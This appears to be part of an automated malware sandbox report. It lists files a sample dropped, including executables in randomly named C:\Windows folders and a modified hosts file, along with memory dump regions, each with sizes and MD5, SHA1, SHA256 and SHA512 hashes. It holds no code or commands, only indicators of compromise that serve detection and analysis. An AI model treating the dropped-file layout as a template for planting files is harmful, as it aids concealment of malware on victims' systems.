C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
1KB

MD5
6788bdc3fe583a7e40a429a0cc44a423

SHA1
95e6a8f509078231716c5c111aa38afccbdc1249

SHA256
e6a82b489924699bab877aae4f0494442ad323f6722255673a270e7fa4b7734d

SHA512
05f03ca34078d064c3473b71fc7a0e53c3827eccf727f32378ba80a50a6a8c79a7806c4600245c3e116999b7dc11565d16d637d7da9312890dabf20fca524e55

Download Submit
C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
2KB

MD5
8f1e1dce0365f7f0fb6196a0de865100

SHA1
bd0ed0cb5fdd9f1834f299578309888a4c04b2f5

SHA256
e32952c5bbc93fcc13089982426fe60c4945dd0141b2e1512e121bf4622d73b6

SHA512
3194803feaa94acb48cc0ad33319a7f2669264466d6ad9b640cf401b93b529a40eaf6a21ce639a113a1a84eb6475e33e387ba816e70a6406b1ed8994c5c85a70

Download Submit
C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
2KB

MD5
0195fbd319f15e70ebe0cb0850ae2cc7

SHA1
18ae42db8da2152e4633a962ac6e5affde4feeeb

SHA256
38a89415f1766fdcce66ba21833cb5ad84c1a105ade70364bcf0ca9080c1855f

SHA512
2c256c5607a486f2548054b89ef2e8a0d3503700e5c228fb16519bae021b22a1bd95e00cb301f9521a4ff813487c0a408cb77b382cde24064c3c5d8ac5a150d0

Download Submit
C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
2KB

MD5
ce0fba1ae3dc997443ef2e2bc11af703

SHA1
b02706d11045977b7f027ee764d4ad737c50aa4a

SHA256
8e7bf79e1d0dce5c9c6848e6bed1c056d368b541ef064c6bb9295105ad15ffee

SHA512
2a39cee9a0ea191ba26ae54e629e287fa01e5f14922cd728eee0d5f12ece9ac41770580dab6b41d0d3464016385bc0f246d4ac17fcd4747d6f58c2935a550ba9

Download Submit
C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
2KB

MD5
51cab4b44e61a4d7ee2daa7ae5463bdf

SHA1
ea8eb1945ffa74540093fe6a66d88e89a3fb4a25

SHA256
f661a31aa2787dd98d29b399dab7eafda2cc9c3f9e8acd45d4b44ed0366f96d3

SHA512
6687aab6da63a1d6b3815cf2dfd7a8ce1b529fcff490815ec243f5a97ec75754f6ae475200aaaccba824dfad41dcbca20f3e52aa72377a0697d8d79d8309e4dd

Download Submit
C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
3KB

MD5
94722f8c5085c93450b4bacd087a140e

SHA1
87809215a8a66d628200a08c8b52cacad3c78569

SHA256
3ccbc6226c9727318d3960e0f38e27f508cdbd467a57145a9a4d3b78b41f1440

SHA512
4f9caf09fb25e176e164b7fa4a0e22577de6cf50bc6e57ecb6e640a6cc6e00c246e0a371a1b0a49a160a6e99736a483e1b46dd9fb282053d2592a7e86c5d4347

Download Submit
C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
3KB

MD5
4ba0edb29bb04dd4a7078969bb787adf

SHA1
0a00efc2aa73273cfa28196bbc04b6cf78def9c7

SHA256
6b8ebca349071b3d8717c7415ba03c56310dc44becc29aa05c4a4387d4754834

SHA512
5491b4343558b9aa7d70236cc1d2cf32495b5e2842d8672e9e3a15871fa83bc4ebde82df22dbb08be985490497833e5f48425984129089357912c82a3ce3e3e8

Download Submit
C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
3KB

MD5
80374922458503b7481da51a39a65ed3

SHA1
fb07c7371d9e74fffd0a0989a5c46502103682c0

SHA256
d5818bffadbaea39d572f695781939736cd4a3caa4d1581e663bc775c9bedf6a

SHA512
c664633ad30d8ea44ba350690ca2f1f5e0dca679eebac43d7b0fc6f922853a3030bc7fced2c26de9d95a45f3df0cfd6bb168ddfd25398308b5287b3b977ae487

Download Submit
C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
4KB

MD5
b98a5e76ac180c84de27dd80c0e5c67a

SHA1
508fd6eb8f5969f7c7ef18e05a4332d2c9871675

SHA256
0abda71074c548a6ed69b06243ead4c294707ff0c6c55e1bba9bcc28013693d3

SHA512
c87ef5e17cce3656acb644c77c8bc38615902710ea12ce5e96d8d6b54139236c2762a26acc324ff5846cce257867ac553472552f97794639e4b8db91599098b8

Download Submit
C:\Windows\etqajulug\ekithtuut\llefvytvt.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\etqajulug\ekithtuut\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\mgifenbt\jirnzjt.exe

Filesize
8.8MB

MD5
0cf4e26ef57c0fab3ea5df0bb4c6af88

SHA1
43d54ec981162a197cffc50d46474694583d7895

SHA256
651627a486f106844c784d91875ff4dc54c9bfeb5e849bd997e5493cba4708bb

SHA512
682cbd793f68463414fc32db147e26b705a4e9f057553d3a47ae82e0f2a5e5be449c6d84184a0f55a4ae57eff7881a8c6a7883177bba8b399c39b00a24dd8bcb

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
memory/444-181-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/776-248-0x0000000000420000-0x0000000000432000-memory.dmp

Filesize
72KB

Download
memory/776-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1116-138-0x00007FF79FC80000-0x00007FF79FD6E000-memory.dmp

Filesize
952KB

Download
memory/1116-135-0x00007FF79FC80000-0x00007FF79FD6E000-memory.dmp

Filesize
952KB

Download
memory/2236-203-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/2864-172-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/2968-221-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/3152-212-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/3260-158-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/3260-170-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/3548-191-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/3644-208-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/3936-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/3936-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/4004-186-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/4084-217-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/4108-225-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/4176-233-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/4312-199-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/4384-78-0x0000000000B60000-0x0000000000BAC000-memory.dmp

Filesize
304KB

Download
memory/4400-234-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-227-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-501-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-154-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-249-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-215-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-205-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-157-0x0000014B307D0000-0x0000014B307E0000-memory.dmp

Filesize
64KB

Download
memory/4400-499-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-188-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-498-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4400-183-0x00007FF739060000-0x00007FF739180000-memory.dmp

Filesize
1.1MB

Download
memory/4420-230-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/4460-236-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/4684-146-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/4684-142-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/4836-195-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download
memory/5076-238-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp

Filesize
364KB

Download